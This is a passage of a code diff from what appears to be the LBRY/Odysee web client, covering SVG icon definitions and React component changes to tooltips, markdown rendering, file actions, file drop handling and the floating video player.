d="M0.500 12.000 A11.500 11.500 0 1 0 23.500 12.000 A11.500 11.500 0 1 0 0.500 12.000 Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M13.5,3.642a8.5,8.5,0,0,1,6.24,11.877L13.5,9.354Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M13.5,13.6l4.471,4.455A8.529,8.529,0,0,1,13.5,20.365Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M4.33,15.549,10.5,9.354V3.635A8.517,8.517,0,0,0,3.5,12,7.583,7.583,0,0,0,4.33,15.549Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M10.5,20.364a8.543,8.543,0,0,1-4.463-2.306L10.5,13.6Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
</g>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.UNIVERSE]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 25 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '16'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g transform="matrix(1,0,0,1,0,0)">
|
||||
<path
|
||||
d="M5.33,17.848A9.545,9.545,0,0,1,16.466,2.488"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M1.982,17.78C.769,19.905.363,21.554,1.048,22.24c1.04,1.039,4.294-.43,8.062-3.418"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M13.423,18.067l-3.58-3.58L17.8,6.53A5.054,5.054,0,0,1,20.153,5.2L22.2,4.686a.844.844,0,0,1,1.023,1.023l-.512,2.048a5.059,5.059,0,0,1-1.332,2.352Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M9.843,14.487,6.911,13.51a.422.422,0,0,1-.165-.7l1.022-1.022a3.383,3.383,0,0,1,3.462-.817l1.6.532Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M13.423,18.067,14.4,21a.422.422,0,0,0,.7.165l1.022-1.022a3.383,3.383,0,0,0,.817-3.462l-.532-1.6Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
</g>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.CHEESE]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 25 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '16'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g transform="matrix(1,0,0,1,0,0)">
|
||||
<path
|
||||
d="M18.500 12.639 A1.500 1.500 0 1 0 21.500 12.639 A1.500 1.500 0 1 0 18.500 12.639 Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M5.000 14.139 A1.000 1.000 0 1 0 7.000 14.139 A1.000 1.000 0 1 0 5.000 14.139 Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M9.000 18.139 A2.000 2.000 0 1 0 13.000 18.139 A2.000 2.000 0 1 0 9.000 18.139 Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M23.5,8.493V19.761a1,1,0,0,1-.871.991l-21,2.74A1,1,0,0,1,.5,22.5a1.045,1.045,0,0,1,.686-.982A2,2,0,0,0,.5,17.639V11.945a1,1,0,0,1,.339-.751L12.709.749a1,1,0,0,1,.7-.248C17.854.674,23.5,3.642,23.5,8.493"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path d="M23.5 8.493L0.616 11.478" fill="none" strokeLinecap="round" strokeLinejoin="round" />
|
||||
<path
|
||||
d="M18,17.389a.25.25,0,1,1-.25.25.25.25,0,0,1,.25-.25"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path
|
||||
d="M13.5,12.889a.25.25,0,1,1-.25.25.25.25,0,0,1,.25-.25"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
</g>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.PORK_BUN]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 25 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '16'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g transform="matrix(1,0,0,1,0,0)">
|
||||
<path
|
||||
d="M11.247,5.3a1,1,0,0,1,1.507,0C15.378,8.3,23.5,11.518,23.5,16.5c0,5.706-5.794,7-11.5,7S.5,22.206.5,16.5C.5,11.518,8.623,8.3,11.247,5.3Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
/>
|
||||
<path d="M10,9.874a13.068,13.068,0,0,1-2.559,2.12" fill="none" strokeLinecap="round" strokeLinejoin="round" />
|
||||
<path d="M14,9.874a13.068,13.068,0,0,0,2.559,2.12" fill="none" strokeLinecap="round" strokeLinejoin="round" />
|
||||
<path d="M12 10.5L12 12.5" fill="none" strokeLinecap="round" strokeLinejoin="round" />
|
||||
<path d="M6,.5C4.5,2,7.5,3,6,4.5" fill="none" strokeLinecap="round" strokeLinejoin="round" />
|
||||
<path d="M18,.5c1.5,1.5-1.5,2.5,0,4" fill="none" strokeLinecap="round" strokeLinejoin="round" />
|
||||
</g>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.MOVIES]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
stroke="currentColor"
|
||||
strokeWidth="2"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g transform="matrix(1,0,0,1,0,0)">
|
||||
<path d="M19.5,11.75a3.751,3.751,0,0,1,3.124-3.7.75.75,0,0,0,.626-.739V5a1.5,1.5,0,0,0-1.5-1.5H2.25A1.5,1.5,0,0,0,.75,5V7.313a.749.749,0,0,0,.626.739,3.751,3.751,0,0,1,0,7.4.75.75,0,0,0-.626.739V18.5A1.5,1.5,0,0,0,2.25,20h19.5a1.5,1.5,0,0,0,1.5-1.5V16.187a.749.749,0,0,0-.626-.739A3.751,3.751,0,0,1,19.5,11.75Z" />
|
||||
<path d="M4.5 6.5L6.75 6.5" />
|
||||
<path d="M10.5 6.5L13.5 6.5" />
|
||||
<path d="M17.25 6.5L19.5 6.5" />
|
||||
<path d="M4.5 17L6.75 17" />
|
||||
<path d="M10.5 17L13.5 17" />
|
||||
<path d="M17.25 17L19.5 17" />
|
||||
<path d="M12.624,10.436a.75.75,0,0,0-1.248,0l-1.6,2.4A.75.75,0,0,0,10.4,14h3.2a.75.75,0,0,0,.624-1.166Z" />
|
||||
</g>
|
||||
</svg>
|
||||
),
|
||||
};
|
||||
@@ -1,7 +1,6 @@
|
||||
// @flow
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import classnames from 'classnames';
|
||||
import { icons } from './icon-custom';
|
||||
|
||||
@@ -70,6 +69,7 @@ class IconComponent extends React.PureComponent<Props> {
|
||||
|
||||
const component = (
|
||||
<Icon
|
||||
title={tooltipText}
|
||||
size={size || (sectionIcon ? 20 : 16)}
|
||||
className={classnames(`icon icon--${icon}`, className)}
|
||||
color={color}
|
||||
@@ -77,9 +77,7 @@ class IconComponent extends React.PureComponent<Props> {
|
||||
/>
|
||||
);
|
||||
|
||||
const inner = sectionIcon ? <span className={`icon__wrapper icon__wrapper--${icon}`}>{component}</span> : component;
|
||||
|
||||
return tooltipText ? <Tooltip label={tooltipText}>{inner}</Tooltip> : inner;
|
||||
return sectionIcon ? <span className={`icon__wrapper icon__wrapper--${icon}`}>{component}</span> : component;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
// @flow
|
||||
import type { Node } from 'react';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
@@ -8,8 +9,8 @@ type Props = {
|
||||
withText?: boolean,
|
||||
isTitle?: boolean,
|
||||
size?: number,
|
||||
prefix?: string | number,
|
||||
postfix?: string | number,
|
||||
prefix?: string | number | Node,
|
||||
postfix?: string | number | Node,
|
||||
};
|
||||
|
||||
const LbcSymbol = (props: Props) => {
|
||||
|
||||
@@ -12,6 +12,8 @@ import MarkdownLink from 'component/markdownLink';
|
||||
import defaultSchema from 'hast-util-sanitize/lib/github.json';
|
||||
import { formatedLinks, inlineLinks } from 'util/remark-lbry';
|
||||
import { formattedTimestamp, inlineTimestamp } from 'util/remark-timestamp';
|
||||
import ZoomableImage from 'component/zoomableImage';
|
||||
import { CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS } from 'config';
|
||||
|
||||
type SimpleTextProps = {
|
||||
children?: React.Node,
|
||||
@@ -31,12 +33,19 @@ type MarkdownProps = {
|
||||
className?: string,
|
||||
parentCommentId?: string,
|
||||
isMarkdownPost?: boolean,
|
||||
stakedLevel?: number,
|
||||
};
|
||||
|
||||
// ****************************************************************************
|
||||
// ****************************************************************************
|
||||
|
||||
const SimpleText = (props: SimpleTextProps) => {
|
||||
return <span>{props.children}</span>;
|
||||
};
|
||||
|
||||
// ****************************************************************************
|
||||
// ****************************************************************************
|
||||
|
||||
const SimpleLink = (props: SimpleLinkProps) => {
|
||||
const { title, children, href } = props;
|
||||
|
||||
@@ -70,6 +79,9 @@ const SimpleLink = (props: SimpleLinkProps) => {
|
||||
return <a title={title}>{children}</a>;
|
||||
};
|
||||
|
||||
// ****************************************************************************
|
||||
// ****************************************************************************
|
||||
|
||||
// Use github sanitation schema
|
||||
const schema = { ...defaultSchema };
|
||||
|
||||
@@ -79,8 +91,11 @@ schema.attributes.a.push('embed');
|
||||
|
||||
const REPLACE_REGEX = /(<iframe\s+src=["'])(.*?(?=))(["']\s*><\/iframe>)/g;
|
||||
|
||||
// ****************************************************************************
|
||||
// ****************************************************************************
|
||||
|
||||
const MarkdownPreview = (props: MarkdownProps) => {
|
||||
const { content, strip, simpleLinks, noDataStore, className, parentCommentId, isMarkdownPost } = props;
|
||||
const { content, strip, simpleLinks, noDataStore, className, parentCommentId, isMarkdownPost, stakedLevel } = props;
|
||||
const strippedContent = content
|
||||
? content.replace(REPLACE_REGEX, (iframeHtml, y, iframeSrc) => {
|
||||
// Let the browser try to create an iframe to see if the markup is valid
|
||||
@@ -106,16 +121,18 @@ const MarkdownPreview = (props: MarkdownProps) => {
|
||||
remarkReactComponents: {
|
||||
a: noDataStore
|
||||
? SimpleLink
|
||||
: linkProps => (
|
||||
: (linkProps) => (
|
||||
<MarkdownLink
|
||||
{...linkProps}
|
||||
parentCommentId={parentCommentId}
|
||||
isMarkdownPost={isMarkdownPost}
|
||||
simpleLinks={simpleLinks}
|
||||
allowPreview={stakedLevel && stakedLevel >= CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS}
|
||||
/>
|
||||
),
|
||||
// Workaraund of remarkOptions.Fragment
|
||||
div: React.Fragment,
|
||||
img: ZoomableImage,
|
||||
},
|
||||
};
|
||||
|
||||
|
||||
@@ -41,7 +41,7 @@ class StatusBar extends React.PureComponent<Props, State> {
|
||||
|
||||
render() {
|
||||
const { hoverUrl, show } = this.state;
|
||||
return <div className={classnames('status-bar', { visible: show })}>{hoverUrl}</div>;
|
||||
return <div className={classnames('status-bar', { visible: show })}>{decodeURI(hoverUrl)}</div>;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
// @flow
|
||||
import type { Node } from 'react';
|
||||
import React from 'react';
|
||||
import ReachTooltip from '@reach/tooltip';
|
||||
import '@reach/tooltip/styles.css';
|
||||
|
||||
type Props = {
|
||||
label: string | Node,
|
||||
@@ -10,11 +12,7 @@ type Props = {
|
||||
function Tooltip(props: Props) {
|
||||
const { children, label } = props;
|
||||
|
||||
if (typeof label !== 'string') {
|
||||
return children;
|
||||
}
|
||||
|
||||
return <span title={label}>{children}</span>;
|
||||
return <ReachTooltip label={label}>{children}</ReachTooltip>;
|
||||
}
|
||||
|
||||
export default Tooltip;
|
||||
@@ -1,13 +1,9 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimForUri, doPrepareEdit } from 'lbry-redux';
|
||||
import { makeSelectClaimForUri } from 'lbry-redux';
|
||||
import CreatorAnalytics from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
prepareEdit: channelName => dispatch(doPrepareEdit({ signing_channel: { name: channelName } })),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(CreatorAnalytics);
|
||||
export default connect(select)(CreatorAnalytics);
|
||||
@@ -26,7 +26,7 @@ export default function CreatorAnalytics(props: Props) {
|
||||
const history = useHistory();
|
||||
const [stats, setStats] = React.useState();
|
||||
const [error, setError] = React.useState();
|
||||
const [fetchingStats, setFetchingStats] = React.useState(true);
|
||||
const [fetchingStats, setFetchingStats] = React.useState(false);
|
||||
const claimId = claim && claim.claim_id;
|
||||
const channelHasClaims = claim && claim.meta && claim.meta.claims_in_channel && claim.meta.claims_in_channel > 0;
|
||||
|
||||
@@ -81,7 +81,24 @@ export default function CreatorAnalytics(props: Props) {
|
||||
/>
|
||||
)}
|
||||
|
||||
{!error && (
|
||||
{!error && !channelHasClaims ? (
|
||||
<Yrbl
|
||||
type="sad"
|
||||
title={__("You haven't uploaded anything")}
|
||||
subtitle={__('Upload something to start tracking your stats!')}
|
||||
actions={
|
||||
<div className="section__actions">
|
||||
<Button
|
||||
button="primary"
|
||||
label={__('Upload Something')}
|
||||
onClick={() => {
|
||||
history.push(`/$/${PAGES.UPLOAD}`);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
}
|
||||
/>
|
||||
) : (
|
||||
<Yrbl
|
||||
title={
|
||||
channelHasClaims
|
||||
@@ -93,12 +110,7 @@ export default function CreatorAnalytics(props: Props) {
|
||||
<Button
|
||||
button="primary"
|
||||
label={__('Upload Something')}
|
||||
onClick={() => {
|
||||
if (claim) {
|
||||
prepareEdit(claim.name);
|
||||
history.push(`/$/${PAGES.UPLOAD}`);
|
||||
}
|
||||
}}
|
||||
onClick={() => history.push(`/$/${PAGES.UPLOAD}`)}
|
||||
/>
|
||||
</div>
|
||||
}
|
||||
|
||||
@@ -9,7 +9,7 @@ import {
|
||||
import { makeSelectCostInfoForUri } from 'lbryinc';
|
||||
import { doSetPlayingUri } from 'redux/actions/content';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { doOpenModal } from 'redux/actions/app';
|
||||
import { doOpenModal, doSetActiveChannel, doSetIncognito } from 'redux/actions/app';
|
||||
import fs from 'fs';
|
||||
import FileActions from './view';
|
||||
import { makeSelectFileRenderModeForUri } from 'redux/selectors/content';
|
||||
@@ -23,11 +23,19 @@ const select = (state, props) => ({
|
||||
myChannels: selectMyChannelClaims(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
const perform = (dispatch) => ({
|
||||
openModal: (modal, props) => dispatch(doOpenModal(modal, props)),
|
||||
prepareEdit: (publishData, uri, fileInfo) => dispatch(doPrepareEdit(publishData, uri, fileInfo, fs)),
|
||||
prepareEdit: (publishData, uri, fileInfo) => {
|
||||
if (publishData.signing_channel) {
|
||||
dispatch(doSetActiveChannel(publishData.signing_channel.claim_id));
|
||||
} else {
|
||||
dispatch(doSetIncognito(true));
|
||||
}
|
||||
|
||||
dispatch(doPrepareEdit(publishData, uri, fileInfo, fs));
|
||||
},
|
||||
clearPlayingUri: () => dispatch(doSetPlayingUri({ uri: null })),
|
||||
doToast: options => dispatch(doToast(options)),
|
||||
doToast: (options) => dispatch(doToast(options)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(FileActions);
|
||||
@@ -74,7 +74,7 @@ function FileActions(props: Props) {
|
||||
push(`/$/${PAGES.CHANNEL_NEW}?redirect=${pathname}`);
|
||||
doToast({ message: __('A channel is required to repost on %SITE_NAME%', { SITE_NAME }) });
|
||||
} else {
|
||||
push(`/$/${PAGES.REPOST_NEW}?from=${encodeURIComponent(uri)}`);
|
||||
push(`/$/${PAGES.REPOST_NEW}?from=${encodeURIComponent(uri)}&redirect=${pathname}`);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -4,13 +4,14 @@ import ClaimPreview from 'component/claimPreview';
|
||||
|
||||
type Props = {
|
||||
channelUri: string,
|
||||
hideActions?: boolean,
|
||||
};
|
||||
|
||||
function FileAuthor(props: Props) {
|
||||
const { channelUri } = props;
|
||||
const { channelUri, hideActions } = props;
|
||||
|
||||
return channelUri ? (
|
||||
<ClaimPreview uri={channelUri} type="inline" properties={false} hideBlock />
|
||||
<ClaimPreview uri={channelUri} type="inline" properties={false} hideMenu hideActions={hideActions} />
|
||||
) : (
|
||||
<div className="claim-preview--inline claim-preview__title">{__('Anonymous')}</div>
|
||||
);
|
||||
|
||||
@@ -13,7 +13,7 @@ type Props = {
|
||||
fileInfo: ?FileListItem,
|
||||
openModal: (id: string, { path: string }) => void,
|
||||
pause: () => void,
|
||||
download: string => void,
|
||||
download: (string) => void,
|
||||
costInfo: ?{ cost: string },
|
||||
buttonType: ?string,
|
||||
showLabel: ?boolean,
|
||||
@@ -91,6 +91,7 @@ function FileDownloadLink(props: Props) {
|
||||
return hideOpenButton ? null : (
|
||||
<Button
|
||||
button={buttonType}
|
||||
className={buttonType ? undefined : 'button--file-action'}
|
||||
title={openLabel}
|
||||
label={showLabel ? openLabel : null}
|
||||
icon={ICONS.EXTERNAL}
|
||||
|
||||
@@ -37,21 +37,36 @@ function FileDrop(props: Props) {
|
||||
const { drag, dropData } = useDragDrop();
|
||||
const [files, setFiles] = React.useState([]);
|
||||
const [error, setError] = React.useState(false);
|
||||
const [target, setTarget] = React.useState(false);
|
||||
const [target, setTarget] = React.useState<?WebFile>(null);
|
||||
const hideTimer = React.useRef(null);
|
||||
const targetTimer = React.useRef(null);
|
||||
const navigationTimer = React.useRef(null);
|
||||
|
||||
// Gets respective icon given a mimetype
|
||||
const getFileIcon = type => {
|
||||
// Not all files have a type
|
||||
if (!type) return ICONS.FILE;
|
||||
// Detect common types
|
||||
const contentType = type.split('/')[0];
|
||||
if (contentType === 'text') return ICONS.TEXT;
|
||||
if (contentType === 'image') return ICONS.IMAGE;
|
||||
if (contentType === 'video') return ICONS.VIDEO;
|
||||
if (contentType === 'audio') return ICONS.AUDIO;
|
||||
// Binary file
|
||||
return ICONS.FILE;
|
||||
};
|
||||
|
||||
// Navigates user to publish page
|
||||
const navigateToPublish = React.useCallback(() => {
|
||||
// Navigate only if location is not publish area:
|
||||
// - Prevent spam in history
|
||||
// Navigate only if location is not publish area
|
||||
// - Prevents spam in browser history
|
||||
if (history.location.pathname !== PUBLISH_URL) {
|
||||
history.push(PUBLISH_URL);
|
||||
}
|
||||
}, [history]);
|
||||
|
||||
// Delay hide and navigation for a smooth transition
|
||||
const hideDropArea = () => {
|
||||
const hideDropArea = React.useCallback(() => {
|
||||
hideTimer.current = setTimeout(() => {
|
||||
setFiles([]);
|
||||
// Navigate to publish area
|
||||
@@ -59,34 +74,15 @@ function FileDrop(props: Props) {
|
||||
navigateToPublish();
|
||||
}, NAVIGATE_TIME_OUT);
|
||||
}, HIDE_TIME_OUT);
|
||||
};
|
||||
}, [navigateToPublish]);
|
||||
|
||||
const handleFileSelected = selectedFile => {
|
||||
// Handle file selection
|
||||
const handleFileSelected = React.useCallback((selectedFile) => {
|
||||
updatePublishForm({ filePath: selectedFile });
|
||||
hideDropArea();
|
||||
};
|
||||
}, [updatePublishForm, hideDropArea]);
|
||||
|
||||
const getFileIcon = type => {
|
||||
// Not all files have a type
|
||||
if (!type) {
|
||||
return ICONS.FILE;
|
||||
}
|
||||
// Detect common types
|
||||
const contentType = type.split('/')[0];
|
||||
if (contentType === 'text') {
|
||||
return ICONS.TEXT;
|
||||
} else if (contentType === 'image') {
|
||||
return ICONS.IMAGE;
|
||||
} else if (contentType === 'video') {
|
||||
return ICONS.VIDEO;
|
||||
} else if (contentType === 'audio') {
|
||||
return ICONS.AUDIO;
|
||||
}
|
||||
// Binary file
|
||||
return ICONS.FILE;
|
||||
};
|
||||
|
||||
// Clear timers
|
||||
// Clear timers when unmounted
|
||||
React.useEffect(() => {
|
||||
return () => {
|
||||
// Clear hide timer
|
||||
@@ -104,8 +100,8 @@ function FileDrop(props: Props) {
|
||||
};
|
||||
}, []);
|
||||
|
||||
// Clear selected file after modal closed
|
||||
React.useEffect(() => {
|
||||
// Clear selected file after modal closed
|
||||
if ((target && !files) || !files.length) {
|
||||
// Small delay for a better transition
|
||||
targetTimer.current = setTimeout(() => {
|
||||
@@ -114,8 +110,8 @@ function FileDrop(props: Props) {
|
||||
}
|
||||
}, [files, target]);
|
||||
|
||||
// Handle file drop...
|
||||
React.useEffect(() => {
|
||||
// Handle drop...
|
||||
if (dropData && !files.length && (!modal || modal.id !== MODALS.FILE_SELECTION)) {
|
||||
getTree(dropData)
|
||||
.then(entries => {
|
||||
@@ -129,8 +125,8 @@ function FileDrop(props: Props) {
|
||||
}
|
||||
}, [dropData, files, modal]);
|
||||
|
||||
// File(s) or directory dropped
|
||||
React.useEffect(() => {
|
||||
// Files or directory dropped:
|
||||
if (!drag && files.length) {
|
||||
// Handle multiple files selection
|
||||
if (files.length > 1) {
|
||||
@@ -138,12 +134,11 @@ function FileDrop(props: Props) {
|
||||
setFiles([]);
|
||||
} else if (files.length === 1) {
|
||||
// Handle single file selection
|
||||
// $FlowFixMe
|
||||
setTarget(files[0]);
|
||||
handleFileSelected(files[0]);
|
||||
}
|
||||
}
|
||||
}, [drag, files, error, openModal]);
|
||||
}, [drag, files, error, openModal, handleFileSelected]);
|
||||
|
||||
// Show icon based on file type
|
||||
const icon = target ? getFileIcon(target.type) : ICONS.PUBLISH;
|
||||
|
||||
@@ -42,7 +42,7 @@ function FileReactions(props: Props) {
|
||||
requiresAuth={IS_WEB}
|
||||
authSrc="filereaction_like"
|
||||
className={classnames('button--file-action')}
|
||||
label={formatNumberWithCommas(likeCount)}
|
||||
label={formatNumberWithCommas(likeCount, 0)}
|
||||
iconSize={18}
|
||||
icon={ICONS.UPVOTE}
|
||||
onClick={() => doReactionLike(uri)}
|
||||
@@ -52,7 +52,7 @@ function FileReactions(props: Props) {
|
||||
authSrc={'filereaction_dislike'}
|
||||
title={__('I dislike this')}
|
||||
className={classnames('button--file-action')}
|
||||
label={formatNumberWithCommas(dislikeCount)}
|
||||
label={formatNumberWithCommas(dislikeCount, 0)}
|
||||
iconSize={18}
|
||||
icon={ICONS.DOWNVOTE}
|
||||
onClick={() => doReactionDislike(uri)}
|
||||
|
||||
@@ -6,6 +6,8 @@ import {
|
||||
makeSelectDownloadPathForUri,
|
||||
makeSelectStreamingUrlForUri,
|
||||
SETTINGS,
|
||||
makeSelectStakedLevelForChannelUri,
|
||||
makeSelectChannelForClaimUri,
|
||||
} from 'lbry-redux';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import { makeSelectFileRenderModeForUri, makeSelectFileExtensionForUri } from 'redux/selectors/content';
|
||||
@@ -13,9 +15,11 @@ import FileRender from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const autoplay = props.embedded ? false : makeSelectClientSetting(SETTINGS.AUTOPLAY)(state);
|
||||
const channelUri = makeSelectChannelForClaimUri(props.uri)(state);
|
||||
return {
|
||||
currentTheme: makeSelectClientSetting(SETTINGS.THEME)(state),
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
stakedLevel: makeSelectStakedLevelForChannelUri(channelUri)(state),
|
||||
thumbnail: makeSelectThumbnailForUri(props.uri)(state),
|
||||
contentType: makeSelectContentTypeForUri(props.uri)(state),
|
||||
downloadPath: makeSelectDownloadPathForUri(props.uri)(state),
|
||||
|
||||
@@ -35,6 +35,7 @@ type Props = {
|
||||
thumbnail: string,
|
||||
desktopPlayStartTime?: number,
|
||||
className?: string,
|
||||
stakedLevel?: number,
|
||||
};
|
||||
|
||||
class FileRender extends React.PureComponent<Props> {
|
||||
@@ -78,6 +79,7 @@ class FileRender extends React.PureComponent<Props> {
|
||||
uri,
|
||||
renderMode,
|
||||
desktopPlayStartTime,
|
||||
stakedLevel,
|
||||
} = this.props;
|
||||
const source = streamingUrl;
|
||||
|
||||
@@ -110,6 +112,7 @@ class FileRender extends React.PureComponent<Props> {
|
||||
}}
|
||||
renderMode={renderMode}
|
||||
theme={currentTheme}
|
||||
stakedLevel={stakedLevel}
|
||||
/>
|
||||
);
|
||||
case RENDER_MODES.DOCX:
|
||||
|
||||
@@ -26,6 +26,7 @@ const select = (state, props) => {
|
||||
streamingUrl: makeSelectStreamingUrlForUri(uri)(state),
|
||||
floatingPlayerEnabled: makeSelectClientSetting(SETTINGS.FLOATING_PLAYER)(state),
|
||||
renderMode: makeSelectFileRenderModeForUri(uri)(state),
|
||||
videoTheaterMode: makeSelectClientSetting(SETTINGS.VIDEO_THEATER_MODE)(state),
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
@@ -10,7 +10,6 @@ import UriIndicator from 'component/uriIndicator';
|
||||
import usePersistedState from 'effects/use-persisted-state';
|
||||
import { PRIMARY_PLAYER_WRAPPER_CLASS } from 'page/file/view';
|
||||
import Draggable from 'react-draggable';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import { onFullscreenChange } from 'util/full-screen';
|
||||
import { useIsMobile } from 'effects/use-screensize';
|
||||
import debounce from 'util/debounce';
|
||||
@@ -31,6 +30,7 @@ type Props = {
|
||||
renderMode: string,
|
||||
playingUri: ?PlayingUri,
|
||||
primaryUri: ?string,
|
||||
videoTheaterMode: boolean,
|
||||
};
|
||||
|
||||
export default function FileRenderFloating(props: Props) {
|
||||
@@ -45,6 +45,7 @@ export default function FileRenderFloating(props: Props) {
|
||||
renderMode,
|
||||
playingUri,
|
||||
primaryUri,
|
||||
videoTheaterMode,
|
||||
} = props;
|
||||
const {
|
||||
location: { pathname },
|
||||
@@ -88,17 +89,16 @@ export default function FileRenderFloating(props: Props) {
|
||||
}
|
||||
|
||||
function clampToScreen(pos) {
|
||||
const GAP_PX = 10;
|
||||
const ESTIMATED_SCROLL_BAR_PX = 50;
|
||||
const FLOATING_PLAYER_CLASS = 'content__viewer--floating';
|
||||
const fpPlayerElem = document.querySelector(`.${FLOATING_PLAYER_CLASS}`);
|
||||
|
||||
if (fpPlayerElem) {
|
||||
if (pos.x + fpPlayerElem.getBoundingClientRect().width > getScreenWidth() - ESTIMATED_SCROLL_BAR_PX) {
|
||||
pos.x = getScreenWidth() - fpPlayerElem.getBoundingClientRect().width - ESTIMATED_SCROLL_BAR_PX - GAP_PX;
|
||||
pos.x = getScreenWidth() - fpPlayerElem.getBoundingClientRect().width - ESTIMATED_SCROLL_BAR_PX;
|
||||
}
|
||||
if (pos.y + fpPlayerElem.getBoundingClientRect().height > getScreenHeight()) {
|
||||
pos.y = getScreenHeight() - fpPlayerElem.getBoundingClientRect().height - GAP_PX * 2;
|
||||
pos.y = getScreenHeight() - fpPlayerElem.getBoundingClientRect().height;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -129,7 +129,7 @@ export default function FileRenderFloating(props: Props) {
|
||||
|
||||
// Listen to main-window resizing and adjust the fp position accordingly:
|
||||
useEffect(() => {
|
||||
const handleMainWindowResize = debounce(e => {
|
||||
const handleMainWindowResize = debounce((e) => {
|
||||
let newPos = {
|
||||
x: Math.round(relativePos.x * getScreenWidth()),
|
||||
y: Math.round(relativePos.y * getScreenHeight()),
|
||||
@@ -187,7 +187,7 @@ export default function FileRenderFloating(props: Props) {
|
||||
window.removeEventListener('resize', handleResize);
|
||||
onFullscreenChange(window, 'remove', handleResize);
|
||||
};
|
||||
}, [setFileViewerRect, isFloating, playingUriSource, mainFilePlaying]);
|
||||
}, [setFileViewerRect, isFloating, playingUriSource, mainFilePlaying, videoTheaterMode]);
|
||||
|
||||
useEffect(() => {
|
||||
// @if TARGET='app'
|
||||
@@ -248,6 +248,8 @@ export default function FileRenderFloating(props: Props) {
|
||||
className={classnames('content__viewer', {
|
||||
'content__viewer--floating': isFloating,
|
||||
'content__viewer--inline': !isFloating,
|
||||
